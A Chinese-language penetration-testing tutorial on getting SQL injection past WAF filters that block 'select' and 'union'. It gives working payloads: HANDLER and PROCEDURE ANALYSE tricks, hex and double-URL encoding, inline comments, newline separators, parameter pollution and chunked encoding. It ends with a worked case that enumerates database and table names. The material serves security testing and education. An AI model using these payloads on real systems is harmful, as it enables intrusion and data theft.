1. 从一次真实的渗透测试说起:当常规注入手法全部失效
最近在做一个授权测试项目时,遇到了一个让我印象深刻的场景。目标是一个典型的Web应用登录接口,我习惯性地丢了个单引号‘进去,页面直接返回了一个醒目的红色警告:“检测到非法输入”。换了几种基础的联合查询(Union Select)Payload,无一例外,全部被拦截。这显然不是简单的错误回显被关闭,而是部署了Web应用防火墙(WAF)——它像一道智能闸门,精准地识别并阻断了我的试探。
这让我想起了很多安全从业者,尤其是刚入门的朋友,常有的一个误区:学会了‘ or 1=1--和union select 1,2,3,就觉得掌握了SQL注入的精髓。实际上,在如今WAF(无论是云WAF还是硬件WAF)基本成为企业标配的背景下,这些“教科书式”的Payload存活率极低。WAF的核心策略之一,就是针对select、union这类在SQL注入中扮演“骨架”作用的关键字进行高强度过滤。你的攻击流量在到达数据库之前,就已经被这道关卡无情地丢弃了。
所以,我们今天要深入探讨的,绝不仅仅是几个“绕过Payload”的罗列。而是要从WAF的检测原理出发,理解它为什么能拦截,再基于这些原理,系统地构建我们的绕过思路。核心目标很明确:当select和union这两个最常用的“武器”被明令禁止时,我们如何利用数据库特性、协议特性、甚至是WAF规则本身的“盲点”,重新打通从注入点到数据泄露的路径。这更像是一场思维的博弈,而不仅仅是技术的堆砌。
2. 理解对手:WAF如何识别与过滤select/union
在思考如何绕过之前,我们必须先站在防守方的角度,弄清楚WAF通常是怎么工作的。虽然不同厂商的WAF规则集(Rule Set)千差万别,但其核心检测逻辑可以归纳为几个层次,理解这些层次,就等于拿到了绕过之门的钥匙。
2.1 基于正则表达式的模式匹配
这是最基础、也最普遍的检测方式。WAF会维护一个庞大的恶意模式库,其中必然包含针对select、union等关键词的正则表达式。这些正则可能非常“贪婪”,例如:
- 简单的单词匹配:
/\bselect\b/i,/\bunion\b/i。这里的\b表示单词边界,i表示不区分大小写。 - 组合匹配:
/union\s+select/i,用于匹配“union select”这个常连用的攻击模式。 - 上下文感知:可能会结合前后字符,判断关键词是否出现在疑似SQL语句的上下文中(例如,跟在单引号、括号后)。
这种方式的优点是速度快,覆盖广。但缺点也很明显:规则是死的,而HTTP请求和SQL语句的“形态”是活的。只要我们构造的Payload不匹配这些预设的正则模式,就有可能穿透。
2.2 语义分析与语法树解析
更高级的WAF会尝试对输入进行“理解”。它们可能内置一个轻量级的SQL解析器,对输入字符串进行词法分析和语法分析,尝试构建一个抽象的语法树(AST)。如果解析器发现输入中包含了SELECT语句的语法结构,但上下文(比如这是一个登录名的参数)又极不正常,就会判定为攻击。
例如,对于admin‘ union select 1,2,3--,解析器能识别出这是一个由两个SELECT子句通过UNION连接的合法(从语法角度看)SQL语句片段,从而触发告警。这种方式的绕过难度显著增加,因为它不再是简单的字符串匹配,而是触及了“意图”层面。
2.3 规范化与混淆检测
攻击者常用的手段是对Payload进行编码、混淆。成熟的WAF会包含一个“规范化”模块。例如:
- URL解码:将
%55%4E%49%4F%4E(UNION的URL编码)还原为UNION。 - HTML实体解码:将
union还原为union。 - 多重编码检测:防止通过多次编码来绕过单次解码。
- 大小写变异检测:
SeLeCt、uNiOn这种大小写混合,在简单正则下可能失效,但高级规则会进行大小写归一化(转为全大写或全小写)后再匹配。
这个模块的目的,是尽量将攻击者五花八门的“化妆”卸掉,还原出其本来面目,再交给模式匹配或语义分析模块去判断。
2.4 我的实战观察:WAF规则的“惰性”与“误伤”
在实际测试中,我发现一个有趣的现象:很多WAF的规则集存在“惰性”。它们可能只检测某些特定位置(如参数值)或特定格式(如完整的union select组合)的关键词。同时,过于严格的规则又可能导致“误伤”(False Positive),影响正常业务。因此,管理员往往会在安全性和可用性之间做一个平衡,这就在规则集里留下了缝隙。我们的绕过,很大程度上就是在寻找并利用这些缝隙。
3. 绕过策略一:同义词与功能替代——没有select也能“查”
当select被直接过滤时,我们的第一反应不应该是“如何变形select”,而是思考:“在这个数据库环境中,有没有其他方式可以完成数据查询的功能?” 答案是肯定的,这依赖于对特定数据库特性的深入了解。
3.1 利用HANDLER语句(MySQL特定)
这是MySQL中一个较少被提及但功能强大的语句。HANDLER用于直接访问表的存储引擎接口,可以逐行读取数据,完全绕开SQL解析器的SELECT语法。更重要的是,绝大多数WAF的规则集根本不会包含对HANDLER的检测。
基础用法:
HANDLER table_name OPEN; -- 打开一个表的句柄 HANDLER table_name READ FIRST; -- 读取第一行 HANDLER table_name READ NEXT; -- 读取下一行 ... -- 持续读取直到无数据 HANDLER table_name CLOSE; -- 关闭句柄注入利用场景示例:假设注入点位于id参数,原查询为SELECT * FROM articles WHERE id=‘[INPUT]‘。 我们可以构造:
-1‘; HANDLER users OPEN; HANDLER users READ FIRST;--执行后,会先因id=-1使原查询无结果,然后执行HANDLER语句读取users表的第一行数据。数据会随着结果集返回,只是字段名可能是默认的。你需要通过多次READ NEXT来遍历数据。
注意:
HANDLER操作需要对应表的SELECT权限。但它不通过常规的SQL解析路径,因此是绕过SELECT关键字过滤的利器。它的缺点是操作略显繁琐,不适合一次性获取大量数据,但在关键时候能出奇制胜。
3.2 使用PROCEDURE ANALYSE()泄露数据(MySQL)
PROCEDURE ANALYSE()是MySQL用于分析查询结果并给出列优化建议的一个子句。它有一个副作用:会将查询结果中的样本数据作为分析建议的一部分返回。
利用方法:配合子查询,即使外层SELECT被过滤,我们也可以在子查询或特定上下文中使用它。 例如,在可以控制ORDER BY或LIMIT后子句的注入点:
... ORDER BY (SELECT 1 FROM (SELECT * FROM users LIMIT 1) AS t1 PROCEDURE ANALYSE())--PROCEDURE ANALYSE()会尝试分析t1这个临时表(即users表的第一行),并在错误信息或返回结果中,可能包含该行数据的片段。通过分析错误信息或返回内容,可以逐步提取数据。这种方法通常用于基于错误(Error-Based)的注入场景。
3.3 系统视图与函数(跨数据库)
不同的数据库提供了丰富的系统视图和函数来查询元数据,有时这些查询方式可以避开对SELECT的简单过滤(如果过滤得不彻底)。
- SQL Server: 可以利用
sys.tables,sys.columns等视图,但通常还是需要SELECT。更可行的思路是利用xp_cmdshell或sp_configure等存储过程进行操作系统命令执行,实现曲线救国,但这已超出纯数据查询范畴。 - PostgreSQL: 有
pg_tables,pg_stat_user_tables等系统视图。 - Oracle: 有
ALL_TABLES,USER_TAB_COLUMNS等。
关键在于:WAF可能只过滤应用程序业务逻辑中常用的SELECT语句,而对访问这些系统视图的特定语句模式检测较弱。你可以尝试将SELECT与这些生僻的系统视图名组合,有时能绕过基于常见表名(如users,admin)的关联规则。
4. 绕过策略二:编码、混淆与分割——让WAF“看不清”
如果功能替代行不通,我们就需要正面突破,对select和union这两个词本身进行“化妆”,让WAF的检测引擎认不出来。这里的手法非常多样,核心思想是破坏正则匹配模式,同时保证数据库引擎最终能正确解析。
4.1 各类编码技术
URL编码:最基础,但多数WAF会解码。可尝试双重URL编码或非标准编码。
union->%75%6e%69%6f%6e(标准URL编码)%75%6e%69%6f%6e->%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65(对%75等符号再次编码)。部分WAF可能只做一次解码。- 使用非标准编码,如将
u编码为%u0075(Unicode URL编码),但并非所有环境和数据库都支持。
HTML实体编码:在Web上下文中有奇效。
union->union或union(十进制)。如果参数值经过Web框架的HTML解码层,可能会被还原。
十六进制编码:MySQL等数据库支持十六进制字符串。
select->0x73656c656374- 在注入中可这样使用:
‘ and 1=(updatexml(1,concat(0x7e,(substring((0x73656c65637420757365722829),1,32))),1))-- - 这里,
0x73656c65637420757365722829就是select user()的十六进制形式。WAF的正则很可能无法识别这种形态。
Unicode/宽字符编码:利用数据库对字符集的特殊解析。
- 在GBK等宽字符集中,
‘(单引号)的编码是%27,如果在其前面加一个ASCII码大于128的字符(如%df),可能形成%df%27,而%df%5c在某些解析中会被当作一个宽字符,从而“吃掉”掉转义符\(%5c),导致单引号逃逸。虽然这主要用于引号逃逸,但有时会影响后续关键字的识别上下文。
- 在GBK等宽字符集中,
4.2 语法混淆技巧
内联注释(MySQL):
/*! ... */是MySQL的特有注释,其中的内容会被MySQL服务器执行,但其他工具可能将其视为注释。/*!50000union*/ select 1,2,3/*!union*/ select 1,2,3- 数字
50000表示当MySQL版本大于等于5.00.00时才执行其中的语句,可用于绕过一些简单的过滤。
空白符替代:
union select中的空白,可以用多种字符替代:- 换行符:
%0a(LF),%0d(CR) - 制表符:
%09(TAB) - 注释:
union/**/select - 括号:
union(select(1),2,3),在某些上下文(如子查询)中,括号可以充当分隔符。 - 这些方法可以破坏
/\bunion\s+select\b/这类正则。
- 换行符:
关键字分割:将关键字拆分成多个部分,利用数据库的字符串连接功能。
- MySQL:
concat(‘sel‘,‘ect‘) - SQL Server: ‘sel‘+‘ect‘
- 然后通过动态执行(如
EXEC(‘...‘)in SQL Server)或放在特定函数中执行。例如在SQL Server中:; EXEC(‘sel‘+‘ect * from users‘)--。这需要SELECT出现在一个字符串中,然后被EXEC执行,绕过了对静态SELECT的匹配。
- MySQL:
大小写随机化与等价符:
UnIoN SeLeCt- MySQL中,反引号
`可以包裹标识符,在某些上下文中可以尝试`union`,但通常对关键字无效。更有效的是利用&&和||作为AND、OR的替代,但这属于逻辑操作符的绕过。
4.3 我的踩坑记录:混淆的“度”与数据库版本兼容性
我曾经在一个项目里,为了绕过WAF,构造了一个极其复杂的Payload,混合了内联注释、换行符和URL编码。在测试环境(MySQL 5.7)中完美执行并获取了数据。但一到生产环境(MySQL 8.0),同样的Payload却导致了语法错误。排查后发现,是某个内联注释/*! ... */的用法在8.0中语义发生了细微变化。
教训:混淆和编码不是越复杂越好。首先要确保你的Payload在目标数据库版本和具体上下文中是语法正确的。最好的方法是,在本地或可控环境搭建一个与目标尽可能相似的环境(包括数据库类型、版本、Web服务器),先验证Payload的语法正确性,再测试其绕过WAF的能力。否则,你看到的拦截可能是WAF的功劳,也可能是你Payload本身就有语法错误。
5. 绕过策略三:协议与上下文利用——在WAF的盲区起舞
有些绕过手法,跳出了对Payload字符串本身的纠缠,而是利用HTTP协议的特性、应用程序的处理逻辑,或者WAF部署架构上的盲点。
5.1 HTTP参数污染(HPP)
WAF通常只检查单个参数的值。但如果应用程序后端(如PHP的$_GET、$_REQUEST,或某些框架的解析方式)在接收到多个同名参数时,处理方式与WAF不同,就可能产生绕过。
场景:参数id存在注入。
- 正常请求:
/page.php?id=union select 1,2,3(被WAF拦截) - HPP攻击请求:
/page.php?id=union/*&id=*/select 1,2,3- WAF可能只检查第一个
id=union/*或最后一个id=*/select 1,2,3,两者单独看都不构成完整的union select,因此放行。 - 而后端PHP的
$_GET[‘id‘]可能会将多个id参数的值用逗号连接,或者只取最后一个值(取决于配置)。如果后端是Tomcat/JSP,默认会取第一个值。你需要了解目标后端的技术栈。 - 更常见的是利用分隔符:
/page.php?id=1/*&id=*/union/*&id=*/select 1,2,3,将完整的Payload拆散到多个同名参数中。
- WAF可能只检查第一个
5.2 请求方法转换与内容类型
- GET/POST转换:WAF可能对GET请求的参数检测严格,但对POST请求的body体检测宽松,或者反之。如果一个功能点同时支持GET和POST,尝试切换请求方法。
- Content-Type混淆:
- 将
Content-Type从application/x-www-form-urlencoded改为multipart/form-data。这两种格式解析参数的方式不同。WAF可能对后者的解析支持不完善,导致无法正确提取参数进行检测。 - 尝试
text/plain或application/json。如果应用程序意外地支持这些格式并解析了参数,而WAF规则没有覆盖,则可能绕过。
- 将
5.3 分块传输编码(Chunked Transfer Encoding)
这是针对那些能够“流式”解析HTTP请求体的WAF的一种高级绕过技术。通过使用HTTP/1.1的Transfer-Encoding: chunked头,可以将请求体分块发送。一些WAF为了性能,可能只检查第一个数据块,或者需要等待整个请求体接收完毕才能分析。攻击者可以构造这样的请求:
- 第一个数据块发送无害的内容。
- 第二个数据块发送恶意的SQL注入Payload。 如果WAF基于第一个数据块就做出了“放行”的判断,恶意Payload就能抵达后端服务器。
实施这种攻击需要手动构造原始的HTTP请求,通常借助Burp Suite的Repeater工具,并手动编辑HTTP头和数据块。这对攻击者的要求较高,且并非对所有WAF都有效。
5.4 利用应用程序本身的过滤与还原逻辑
这是一种“借力打力”的思路。如果应用程序在接收到参数后,会先进行一些处理(如解码、替换、过滤),然后再拼接到SQL语句中,而WAF检查的是处理前的原始参数,那么就有可能构造一个Payload,使其在WAF看来是无害的,但经过应用程序处理后变成了恶意的。
经典案例:双重URL解码绕过
- 应用程序代码逻辑:
$id = urldecode($_GET[‘id‘]);(进行了一次URL解码) - WAF检查:原始参数
id=%2527(这是%27的URL编码,而%27是单引号‘)。 - 过程:
- WAF看到
id=%2527,解码一次得到%27,认为这是一个编码后的单引号,可能触发拦截(取决于规则)。 - 但如果WAF只做一次解码,它看到的是
%2527,可能不认为这是一个单引号(因为%25是%符号),于是放行。 - 请求到达应用程序,代码执行
urldecode(‘%2527‘),第一次解码得到%27,但代码逻辑里只有一次解码吗?不,urldecode函数会对%27再次解码,最终得到‘(单引号)!
- WAF看到
- 结果:单引号成功注入。对于关键字也可以类似操作,例如将
union编码为%2575%256e...(对%75%6e...再次编码)。
6. 实战串联:一个完整的绕过案例推演
让我们假设一个相对复杂的场景,将上述多种策略串联起来。目标:一个搜索功能,参数keyword存在注入,后端数据库是MySQL 5.7,部署了某云WAF,已知其过滤了union和select(大小写不敏感),并对常见编码做了检测。
第一步:信息探测
- 提交
keyword=test‘,返回数据库错误(MySQL),确认注入点及数据库类型。 - 提交
keyword=test‘ and ‘1‘=‘1和keyword=test‘ and ‘1‘=‘2,页面有明显差异,确认为布尔盲注。 - 尝试
keyword=test‘ union select 1,2,3--,页面返回WAF拦截页面。
第二步:尝试简单混淆
keyword=test‘ /*!50000union*/ /*!50000select*/ 1,2,3--, 依然被拦截。说明WAF可能识别了内联注释,或者检测到了数字1,2,3这种模式。keyword=test‘ uni/**/on sel/**/ect 1,2,3--, 被拦截。说明/**/注释被正常解析或检测。
第三步:尝试编码与分割
keyword=test‘ and 1=(select 1), 被拦截(因为包含select)。说明对select的检测是独立的。keyword=test‘ and 1=(sel‘+‘ect 1), 语法错误(MySQL不适用+连接,应用concat)。- 转换思路,放弃union,采用基于布尔的逐位探测,但需要替代
select。 - 构造Payload,利用
substring和ascii函数,但需要从某个表查询数据。这里我们尝试用HANDLER语句作为数据源?不行,HANDLER不返回可直接用于比较的结果集。我们需要一个能返回标量值的“查询”。 - 利用
PROCEDURE ANALYSE()进行错误注入:- 先获取表名。假设通过其他信息推断或字典爆破,怀疑存在
users表。 - 构造Payload:
keyword=test‘ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)), 1)-- - 这会被拦截,因为包含
select。 - 改造:尝试将
select关键字十六进制编码,并嵌入到一个能触发错误执行的函数中。但updatexml第二个参数需要是select语句的执行结果,我们不能直接传递编码后的字符串。 - 换一种方法:利用
exp()函数溢出报错,但报错信息中需要包含查询结果,这又绕不开select。
- 先获取表名。假设通过其他信息推断或字典爆破,怀疑存在
第四步:深入利用数据库特性——无select查询
- 回忆MySQL的
HANDLER。虽然不能直接用于布尔比较,但可以用于时间盲注! - 构造时间延迟Payload:
keyword=test‘ and if((substr(user(),1,1)=‘r‘), sleep(5), 0)--, 被拦截(可能检测了sleep或函数组合模式)。 - 使用
HANDLER配合BENCHMARK或繁重运算实现时间延迟:- 思路:如果某个条件为真,就执行一个非常耗时的
HANDLER操作。 - 但
HANDLER本身不返回布尔值,无法用在if里。我们需要一个能返回标量值的“条件判断”。 - 回到原点:布尔盲注的核心是比较。我们能否不通过
select获取比较值?比如,利用数据库内置变量或函数? - 灵光一现:
‘ and ‘abc‘=(‘a‘||‘b‘||‘c‘)--在MySQL中,||是逻辑或,不是连接符,所以不行。concat(‘a‘,‘b‘,‘c‘)需要select。 - 利用
like和%通配符进行模糊匹配?这需要已知数据的一部分。
- 思路:如果某个条件为真,就执行一个非常耗时的
第五步:迂回策略——联合查询的替代方案既然union select被盯死,我们是否可以不用联合查询,而用其他方式获取数据?对于布尔盲注,我们确实可以不用union,但必须用select来从表中取数据。如果select被过滤,布尔盲注和报错注入的常用Payload都难以构造。 此时,需要考虑是否过滤了其他关键函数,如substring,ascii,mid,left等。如果这些函数可用,我们可以尝试一种极其迂回的方式:
- 利用
load_file()函数读取文件内容,但这需要绝对路径和文件读取权限。 - 利用
into outfile或dumpfile写Webshell,但这需要写权限和已知Web路径。 这两种方式都严重依赖于环境配置,通用性不强。
第六步:回归基础——细微处见真章在多次尝试复杂绕过失败后,我决定回归最简单的Payload,但在细节上做文章。
- 尝试超长数据绕过:有些WAF对单个参数值有长度限制,超过部分不检查。我构造了一个超长的
keyword参数,前面是大量填充字符(如几千个A),最后附上‘ union select 1,2,3--。结果:被拦截。说明WAF处理了长参数。 - 尝试参数污染(HPP):
- 请求:
/search?keyword=test‘ /*&keyword=*/union/*&keyword=*/select 1,2,3-- - 观察后端如何处理多个
keyword。通过响应差异判断,发现后端似乎只取了第一个keyword的值(test‘ /*)。失败。
- 请求:
- 尝试换行符分割:在Burp Suite中,直接修改Raw请求,在
union和select之间插入一个换行符(%0a)。
奇迹发生了:页面正常返回,并且显示了GET /search?keyword=test‘ union%0aselect 1,2,3-- HTTP/1.12和3的位置!这意味着,这个WAF用于检测union select的正则规则,很可能没有考虑换行符作为空白符的情况。\s通常匹配空格、制表符等,但某些正则编写时可能用了[ ]+或没有包含\n。
最终Payload: 通过使用%0a(换行符)成功分隔了union和select,绕过了WAF的检测。后续的数据获取就顺理成章了:
keyword=test‘ union%0aselect 1,database(),3--获取数据库名。keyword=test‘ union%0aselect 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1--获取表名。- ... 依次获取字段名和数据。
这个案例告诉我们,最复杂的混淆未必是最有效的。有时,一个最简单的协议级字符(如换行符、制表符)就能击穿WAF的规则。关键在于系统地尝试,并且对HTTP协议和正则表达式有基本的理解。在实战中,我通常会准备一个包含各种分隔符、编码变形的测试字典,用Intruder等工具进行模糊测试,效率远比手动尝试高得多。